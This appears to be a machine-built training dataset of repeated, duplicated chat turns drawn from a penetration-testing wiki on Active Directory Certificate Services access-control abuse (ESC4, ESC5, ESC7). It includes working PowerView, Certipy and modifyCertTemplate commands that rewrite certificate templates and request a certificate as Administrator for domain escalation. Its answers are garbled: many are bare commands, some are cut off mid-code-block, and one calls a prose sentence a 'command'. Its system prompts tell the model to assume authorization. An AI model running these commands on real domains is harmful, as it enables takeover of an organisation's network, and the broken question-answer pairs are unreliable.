[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Access controls - Theory in the context of penetration testing

[Assistant]
In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:

* Certificate templates (ESC4): powerful rights over these objects can allow attackers to _"push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication) this results in the same domain compromise scenario \[...]" (__specterops.io__)_ as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else.
* The Certificate Authority (ESC7): _"The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA administrator” and “Certificate Manager” (sometimes known as a CA officer) respectively. known as Officer rights)" (__specterops.io__)_.
 * Attack path 1: if an attacker gains control over a principal that has the ManageCA right over the CA, or local admin right, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (c.f. CA misconfiguration). This only works if the attacker is able to restart the CertSvc service on the CA server.
 * Attack path 2: alternatively (or if the attacker can't restart the CertSrv), if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely gain the ManageCertificates right, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
* Several other objects (ESC5): abuse standard AD access control abuse over regulard AD objects.
 * The CA server’s AD computer object (i.e., compromise

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Access controls - Theory in the context of penetration testing

Response:
In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:

* Certificate templates (ESC4): powerful rights over these objects can allow attackers to _"push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication) this results in the same domain compromise scenario \[...]" (__specterops.io__)_ as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else.
* The Certificate Authority (ESC7): _"The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA administrator” and “Certificate Manager” (sometimes known as a CA officer) respectively. known as Officer rights)" (__specterops.io__)_.
 * Attack path 1: if an attacker gains control over a principal that has the ManageCA right over the CA, or local admin right, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (c.f. CA misconfiguration). This only works if the attacker is able to restart the CertSvc service on the CA server.
 * Attack path 2: alternatively (or if the attacker can't restart the CertSrv), if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely gain the ManageCertificates right, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
* Several other objects (ESC5): abuse standard AD access control abuse over regulard AD objects.
 * The CA server’s AD computer object (i.e., compromise


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Access controls - Theory

[Assistant]
In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:

* Certificate templates (ESC4): powerful rights over these objects can allow attackers to _"push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication) this results in the same domain compromise scenario \[...]" (__specterops.io__)_ as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else.
* The Certificate Authority (ESC7): _"The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA administrator” and “Certificate Manager” (sometimes known as a CA officer) respectively. known as Officer rights)" (__specterops.io__)_.
 * Attack path 1: if an attacker gains control over a principal that has the ManageCA right over the CA, or local admin right, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (c.f. CA misconfiguration). This only works if the attacker is able to restart the CertSvc service on the CA server.
 * Attack path 2: alternatively (or if the attacker can't restart the CertSrv), if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely gain the ManageCertificates right, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
* Several other objects (ESC5): abuse standard AD access control abuse over regulard AD objects.
 * The CA server’s AD computer object (i.e., compromise

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Access controls - Theory

Response:
In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:

* Certificate templates (ESC4): powerful rights over these objects can allow attackers to _"push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication) this results in the same domain compromise scenario \[...]" (__specterops.io__)_ as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else.
* The Certificate Authority (ESC7): _"The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA administrator” and “Certificate Manager” (sometimes known as a CA officer) respectively. known as Officer rights)" (__specterops.io__)_.
 * Attack path 1: if an attacker gains control over a principal that has the ManageCA right over the CA, or local admin right, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (c.f. CA misconfiguration). This only works if the attacker is able to restart the CertSvc service on the CA server.
 * Attack path 2: alternatively (or if the attacker can't restart the CertSrv), if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely gain the ManageCertificates right, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
* Several other objects (ESC5): abuse standard AD access control abuse over regulard AD objects.
 * The CA server’s AD computer object (i.e., compromise


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Access controls - Practice?

[Assistant]
> [!TIP]
>
> Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. > The controlled AD object must have Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).
>
> PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.
>
> ``powershell
> Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose
> `
>
> The example above shows how to edit a certificate template's DACL (requires WriteDacl over the template, i.e. ESC4), but modifying a CA's DACL follows the same principle (requires WriteDacl` over the CA, i.e. ESC7).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!TIP]
>
> Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. > The controlled AD object must have Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).
>
> PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.
>
> ``powershell
> Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose
> `
>
> The example above shows how to edit a certificate template's DACL (requires WriteDacl over the template, i.e. ESC4), but modifying a CA's DACL follows the same principle (requires WriteDacl` over the CA, i.e. ESC7).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Access controls - Practice

[Assistant]
> [!TIP]
>
> Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. > The controlled AD object must have Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).
>
> PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.
>
> ``powershell
> Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose
> `
>
> The example above shows how to edit a certificate template's DACL (requires WriteDacl over the template, i.e. ESC4), but modifying a CA's DACL follows the same principle (requires WriteDacl` over the CA, i.e. ESC7).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Access controls - Practice

Response:
> [!TIP]
>
> Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. > The controlled AD object must have Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).
>
> PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.
>
> ``powershell
> Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose
> `
>
> The example above shows how to edit a certificate template's DACL (requires WriteDacl over the template, i.e. ESC4), but modifying a CA's DACL follows the same principle (requires WriteDacl` over the CA, i.e. ESC7).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Access controls - Certificate templates (ESC4)

[Assistant]
In order to obtain an abusable template, some attributes and parameters need to be properly setup

1. Get Enrollment rights for the vulnerable template
2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
3. Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
5. Set mspki-certificate-application-policy to a certificate purpose for authentication
   1. Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
   2. Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
   3. PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
   4. Any Purpose (OID: 2.5.29.37.0)
   5. No EKU
6. Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.

::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries (how to enumerate), and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.

> [!WARNING] Certipy v5
> Certipy introduced new behavior and flags in version 5.0. Some commands were renamed or replaced, and automatic backup of the template configuration is now performed.

> [!WARNING] Template backup
> Running the command twice will override the backup file, make sure to keep a second backup of the old configuration somewhere.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Access controls - Certificate templates (ESC4)

Response:
In order to obtain an abusable template, some attributes and parameters need to be properly setup

1. Get Enrollment rights for the vulnerable template
2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
3. Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
5. Set mspki-certificate-application-policy to a certificate purpose for authentication
   1. Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
   2. Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
   3. PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
   4. Any Purpose (OID: 2.5.29.37.0)
   5. No EKU
6. Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.

::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries (how to enumerate), and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.

> [!WARNING] Certipy v5
> Certipy introduced new behavior and flags in version 5.0. Some commands were renamed or replaced, and automatic backup of the template configuration is now performed.

> [!WARNING] Template backup
> Running the command twice will override the backup file, make sure to keep a second backup of the old configuration somewhere.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Access controls - Certificate templates (ESC4)?

[Assistant]
In order to obtain an abusable template, some attributes and parameters need to be properly setup

1. Get Enrollment rights for the vulnerable template
2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
3. Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
5. Set mspki-certificate-application-policy to a certificate purpose for authentication
   1. Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
   2. Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
   3. PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
   4. Any Purpose (OID: 2.5.29.37.0)
   5. No EKU
6. Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.

::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries (how to enumerate), and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.

> [!WARNING] Certipy v5
> Certipy introduced new behavior and flags in version 5.0. Some commands were renamed or replaced, and automatic backup of the template configuration is now performed.

> [!WARNING] Template backup
> Running the command twice will override the backup file, make sure to keep a second backup of the old configuration somewhere.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Access controls - Certificate templates (ESC4)?

Response:
In order to obtain an abusable template, some attributes and parameters need to be properly setup

1. Get Enrollment rights for the vulnerable template
2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
3. Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
5. Set mspki-certificate-application-policy to a certificate purpose for authentication
   1. Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
   2. Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
   3. PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
   4. Any Purpose (OID: 2.5.29.37.0)
   5. No EKU
6. Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.

::: tabs

=== UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries (how to enumerate), and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.

> [!WARNING] Certipy v5
> Certipy introduced new behavior and flags in version 5.0. Some commands were renamed or replaced, and automatic backup of the template configuration is now performed.

> [!WARNING] Template backup
> Running the command twice will override the backup file, make sure to keep a second backup of the old configuration somewhere.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 1. Save the old configuration, edit the template and make it vulnerable

[Assistant] certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-default-configuration

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain 1. Save the old configuration, edit the template and make it vulnerable

Response: certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-default-configuration


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 1. Save the old configuration, edit the template and make it vulnerable

[Assistant] certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-default-configuration

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 1. Save the old configuration, edit the template and make it vulnerable

Response: certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-default-configuration


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 2. Request a template certificate with a custom SAN in the context of penetration testing

[Assistant] certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca "$CA_NAME" -template "$ESC4_TEMPLATE_NAME" -upn "Administrator@$DOMAIN"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 2. Request a template certificate with a custom SAN in the context of penetration testing

Response: certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca "$CA_NAME" -template "$ESC4_TEMPLATE_NAME" -upn "Administrator@$DOMAIN"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 2. Request a template certificate with a custom SAN

[Assistant] certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca "$CA_NAME" -template "$ESC4_TEMPLATE_NAME" -upn "Administrator@$DOMAIN"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 2. Request a template certificate with a custom SAN

Response: certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca "$CA_NAME" -template "$ESC4_TEMPLATE_NAME" -upn "Administrator@$DOMAIN"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 3. After the attack, restore the original configuration?

[Assistant]
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-configuration "$ESC4_TEMPLATE_NAME.json" -no-save
``

If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 3. After the attack, restore the original configuration?

Response:
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-configuration "$ESC4_TEMPLATE_NAME.json" -no-save
``

If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 3. After the attack, restore the original configuration

[Assistant]
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-configuration "$ESC4_TEMPLATE_NAME.json" -no-save
``

If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 3. After the attack, restore the original configuration

Response:
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template "$ESC4_TEMPLATE_NAME" -write-configuration "$ESC4_TEMPLATE_NAME.json" -no-save
``

If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use If for 3. after the attack, restore the original configuration?

[Assistant] If a more precise template modification is needed, [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) (Python) can be used to modify each attributes of the template.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use If for 3. after the attack, restore the original configuration?

Response: If a more precise template modification is needed, [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) (Python) can be used to modify each attributes of the template.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 3. After the attack, restore the original configuration?

[Assistant] If a more precise template modification is needed, [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) (Python) can be used to modify each attributes of the template.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 3. After the attack, restore the original configuration?

Response: If a more precise template modification is needed, [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) (Python) can be used to modify each attributes of the template.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If a more precise template modification is needed, [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) (Python) can be used to modify each attributes of the template.`?

[Assistant] This command is used for 3. after the attack, restore the original configuration. 3. After the attack, restore the original configuration

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If a more precise template modification is needed, [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) (Python) can be used to modify each attributes of the template.`?

Response: This command is used for 3. after the attack, restore the original configuration. 3. After the attack, restore the original configuration


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is 1. Disable Manager Approval Requirement?

[Assistant] modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag "$DOMAIN/$USER:$PASSWORD"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is 1. Disable Manager Approval Requirement?

Response: modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag "$DOMAIN/$USER:$PASSWORD"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 1. Disable Manager Approval Requirement?

[Assistant] modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag "$DOMAIN/$USER:$PASSWORD"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 1. Disable Manager Approval Requirement?

Response: modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag "$DOMAIN/$USER:$PASSWORD"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 2. Disable Authorized Signature Requirement

[Assistant] modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature "$DOMAIN/$USER:$PASSWORD"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain 2. Disable Authorized Signature Requirement

Response: modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature "$DOMAIN/$USER:$PASSWORD"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 2. Disable Authorized Signature Requirement?

[Assistant] modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature "$DOMAIN/$USER:$PASSWORD"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 2. Disable Authorized Signature Requirement?

Response: modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature "$DOMAIN/$USER:$PASSWORD"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 3. Enable SAN Specification?

[Assistant] modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property "msPKI-Certificate-Name-Flag" "$DOMAIN/$USER:$PASSWORD"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 3. Enable SAN Specification?

Response: modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property "msPKI-Certificate-Name-Flag" "$DOMAIN/$USER:$PASSWORD"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 3. Enable SAN Specification?

[Assistant] modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property "msPKI-Certificate-Name-Flag" "$DOMAIN/$USER:$PASSWORD"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 3. Enable SAN Specification?

Response: modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property "msPKI-Certificate-Name-Flag" "$DOMAIN/$USER:$PASSWORD"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 4. Edit Certificate Application Policy Extension in the context of penetration testing

[Assistant]
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property "pKIExtendedKeyUsage" "$DOMAIN/$USER:$PASSWORD"
``

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 4. Edit Certificate Application Policy Extension in the context of penetration testing

Response:
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property "pKIExtendedKeyUsage" "$DOMAIN/$USER:$PASSWORD"
``

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 4. Edit Certificate Application Policy Extension

[Assistant]
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property "pKIExtendedKeyUsage" "$DOMAIN/$USER:$PASSWORD"
``

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

